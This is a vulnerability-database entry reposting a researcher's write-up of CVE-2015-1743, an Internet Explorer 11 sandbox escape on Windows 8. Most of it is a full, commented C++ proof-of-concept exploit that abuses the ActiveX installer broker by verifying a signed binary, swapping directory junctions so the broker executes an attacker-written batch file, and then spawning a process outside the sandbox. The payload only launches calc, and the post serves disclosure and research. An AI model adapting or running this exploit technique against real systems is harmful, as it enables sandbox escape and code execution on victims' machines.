One of my first sandbox escapes and bugs (CVE-2015-1743)

2017-06-14T00:00:00
ID SSV:93198
Type seebug
Reporter Root
Modified 2017-06-14T00:00:00

Description

Advisory link: http://www.zerodayinitiative.com/advisories/ZDI-15-377/ (CVE-2015-1743) Demo: https://www.youtube.com/watch?v=6Vtl8kh6keQ

Below is one of my first sandbox escapes, and my entry into vulnerability research. My first bugs relied heavily on the work that Forshaw did (my later ones deviated from that..but we all have to start somewhere).

I just copy pasted the original report with original comments. I've grown alot since then (2 years ago), but its still funny to see where I came from.

The thing with the activex installer com object was that you could verify a file and launch it, but only if the file was signed.

If you checked a signed .exe, and then used junctions to point to your own file instead, it would run your file.

One of my more straight forward escapes, my more recent escapes are a little more crazy, I'll try to cover those soon! (This worked on win8 IE11).

 EDIT: I refered to a github page from Forshaw in a ZDI submission to compile the code...yes that was how bad I was at this back in the days......

/*INSTRUCTIONS TO COMPILE: Simply download https://github.com/tyranid/IE11SandboxEscapes and paste this code into CVE-2014-0520  
*/

#include "stdafx.h"
#include <Utils.h>
#include <Shlwapi.h>

#pragma comment(lib, "shlwapi.lib")

typedef HRESULT(__stdcall *fCoCreateUserBroker)(IIEUserBroker** ppBroker);

//here we get the favorites folder

bstr_t GetFavDirectory()
{
       LPWSTR lpRet = nullptr;

       if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_Favorites, 0, nullptr, &lpRet)))
       {
              bstr_t r = lpRet;
              CoTaskMemFree(lpRet);

              return r;
       }

       return L"";
}

//Here we start a second thread to place our bat file in a folder that is not low //integrity and has the user ACE (VerifyFile will move it to a temp folder that is not marked with low integrity)

DWORD WINAPI thread(LPVOID arg)
{
       Sleep(1000);
       IShdocvwBroker* shdocvw = nullptr;
       shdocvw = CreateSHDocVw();
       IIEUserBrokerPtr broker2 = CreateBroker();
       IIEAxInstallBrokerBrokerPtr axInstallBroker2 = broker2;
       IUnknownPtr unk2;
       axInstallBroker2->BrokerGetAxInstallBroker(__uuidof(CIEAxInstallBroker), IID_IUnknown, 0, 2, nullptr, &unk2);
       IIeAxiAdminInstallerPtr admin = unk2;
       bstr_t sessionGuid2;
       bstr_t empty2;
       admin->InitializeAdminInstaller(empty2, empty2, sessionGuid2.GetAddress());
       IIeAxiInstaller2Ptr installer2 = unk2;
       unsigned char* details2 = nullptr;
       unsigned int detailsLength2 = 0;
       CLSID mgrclsid2;
       CLSIDFromString(L"4871A87A-BFDD-4106-8153-FFDE2BAC2967", &mgrclsid2);
       bstr_t path2 = GetFavDirectory() + L"\\bat.bat";
       bstr_t fullPath2;
       installer2->VerifyFile(sessionGuid2, nullptr, path2, path2, bstr_t(L""), 0, 0, mgrclsid2, fullPath2.GetAddress(), &detailsLength2, &details2);
       return 0;
}

void DoAXExploit()
{

       CreateThread(NULL, 0, thread, NULL, 0, NULL);
       system("pause >nul");

       IShdocvwBroker* shdocvw = nullptr;

       shdocvw = CreateSHDocVw();

       HRESULT ret = E_FAIL;

              IIEUserBrokerPtr broker = CreateBroker();

              DebugPrintf("Created User Broker: %p\n", broker);

              IIEAxInstallBrokerBrokerPtr axInstallBroker = broker;

              DebugPrintf("Created AX Install Broker: %p\n", axInstallBroker);

              IUnknownPtr unk;

              ret = axInstallBroker->BrokerGetAxInstallBroker(__uuidof(CIEAxInstallBroker), IID_IUnknown, 0, 2, nullptr, &unk);

              IIeAxiAdminInstallerPtr admin = unk;

              bstr_t sessionGuid;
              bstr_t empty;

              ret = admin->InitializeAdminInstaller(empty, empty, sessionGuid.GetAddress());

              DebugPrintf("Initialize: %ls\n", sessionGuid.GetBSTR());

              IIeAxiInstaller2Ptr installer = unk;

              DebugPrintf("Installer: %p", installer);

              unsigned char* details = nullptr;
              unsigned int detailsLength = 0;

              CLSID mgrclsid;


              CLSIDFromString(L"4871A87A-BFDD-4106-8153-FFDE2BAC2967", &mgrclsid);

//our signed file that we will use to confuse the add-on installer

              bstr_t path = L"C:\\windows\\explorer.exe";

              bstr_t fullPath;

//here we write our arbitrary bat file to the favorites folder, which will be moved to //another folder by our second thread

              HANDLE hFile;

              char DataBuffer[] = "calc \n pause";

              DWORD dwBytesToWrite = (DWORD)strlen(DataBuffer);
              DWORD dwBytesWritten = 0;

              hFile = CreateFile(GetFavDirectory() + L"\\bat.bat",
                     GENERIC_WRITE,
                     0,
                     NULL,
                     CREATE_ALWAYS,
                     FILE_ATTRIBUTE_NORMAL,
                     NULL);


              WriteFile(
                     hFile,
                     DataBuffer,
                     dwBytesToWrite,
                     &dwBytesWritten,
                     NULL);


              CloseHandle(hFile);



//here we verify explorer.exe, this will not prompt since its digitally signed

              ret = installer->VerifyFile(sessionGuid, nullptr, path, path, bstr_t(L""),
                     0, 0, mgrclsid, fullPath.GetAddress(), &detailsLength, &details);

//create our junction, that we will use as our install path

bstr_t tempDir = GetFavDirectory() + L"\\dummy";

              CreateDirectoryW(tempDir, nullptr);
              bstr_t baseDir = GetFavDirectory() + L"\\..\\appdata\\local\\temp\\IDC1.tmp";
              FSLinks::CreateJunctionPoint(tempDir, baseDir);


              WCHAR newPath[MAX_PATH];

              wcscpy_s(newPath, fullPath);

              PathRemoveFileSpec(newPath);

//here we install explorer.exe into our junction.

              ret = installer->InstallFile(sessionGuid, nullptr, bstr_t(newPath), bstr_t(PathFindFileName(fullPath)), bstr_t(GetFavDirectory() + "\\dummy\\"), bstr_t(L"[1]bat.bat"), 0);

              bstr_t installPath = GetFavDirectory() + L"\\dummy\\[1]bat.bat";

              STARTUPINFO startInfo = { 0 };
              PROCESS_INFORMATION procInfo = { 0 };

//we sleep to make sure the other thread is finished  
              Sleep(5000);
//Now we delete our previous junction and create a new one pointing to our bat file            
FSLinks::DeleteJunctionPoint(tempDir);
              bstr_t tempDir2 = GetFavDirectory() + L"\\dummy";

              CreateDirectoryW(tempDir2, nullptr);
              bstr_t baseDir2 = GetFavDirectory() + L"\\..\\appdata\\local\\temp\\IDC2.tmp";
              FSLinks::CreateJunctionPoint(tempDir2, baseDir2);

//We execute our bat file! The filepath is not pointing to explorer.exe anymore, but the //add-on installer does not realize this!

              ret = installer->RegisterExeFile(sessionGuid, installPath, 0, &procInfo);

//This is the second exploit, by calling createprocess on a bat file in a low integrity //folder, It will spawn cmd.exe in low integrity, even if it is set to untrusted in the //elevation policy. We do have to use \\..\\..\\..\\..\\..\\ to locate our bat file, //using c:\\users\\tester123\\favorites\\bat.bat does not work for some reason.


              CreateProcess(GetFavDirectory() + L"\\bat.bat",L"\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\users\\tester123\\favorites\\bat.bat", NULL, NULL, FALSE, 0, NULL, NULL,
                     &startInfo, &procInfo);

       }


DWORD CALLBACK ExploitThread(LPVOID hModule)
{
       CoInitialize(NULL);

       DoAXExploit();

       CoUninitialize();

       FreeLibraryAndExitThread((HMODULE)hModule, 0);
}